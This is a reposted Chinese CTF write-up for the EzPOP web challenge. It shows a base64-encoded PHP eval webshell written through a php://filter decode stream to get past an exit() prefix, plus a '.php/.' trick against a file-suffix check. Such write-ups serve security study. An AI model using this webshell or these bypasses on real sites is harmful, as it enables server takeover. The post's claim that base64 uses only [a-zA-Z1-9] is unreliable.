码迷,mamicode.com
首页 > 其他好文 > 详细

刷题记录:[EIS 2019]EzPOP

时间:2020-01-29 19:40:43      阅读:233      评论:0      收藏:0      [点我收藏+]

标签:题记   https   机制   nts   要求   src   die   包含   位置   

刷题记录:[EIS 2019]EzPOP

题目复现链接:https://buuoj.cn/challenges

知识点

编码写shell绕过

$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
$result = file_put_contents($filename, $data);

file_put_contents是支持各种协议的,这样就可以将base64编码过的shell传入$data,使用php://filter/write=convert.base64-decode/resource=写入文件

base64工作机制

首先base64只包含[a-zA-Z1-9]+/共64个字符
技术图片

  • 编码时
    把明文每8位按6位查表转码,不足的位数用=补0
  • 解码时
    忽略[",:等64个字符之外的字符,然后逆运算就行
    技术图片

本题中json_encode后的payload是
["11",{"aa":{"path":"PD9waHAgZXZhbCgkX0dFVFsnY21kJ10pOz8+"}}]
其中11aa位置是可控的,去掉无效字符后,payload为
11aapath PD9waHAgZXZhbCgkX0dFVFsnY21kJ10pOz8+
这里是6位查表转8位,所以要求编码为4的倍数

绕过后缀名检查

红包题中,增加了判断条件

if(substr($cache_filename, -strlen('.php')) === '.php') {
        die('?');
}

这里可以在文件名后面加/.,即设置文件名为xxx.php/.
这里我是配合.user.inigetshell的

刷题记录:[EIS 2019]EzPOP

标签:题记   https   机制   nts   要求   src   die   包含   位置   

原文地址:https://www.cnblogs.com/20175211lyz/p/12241003.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!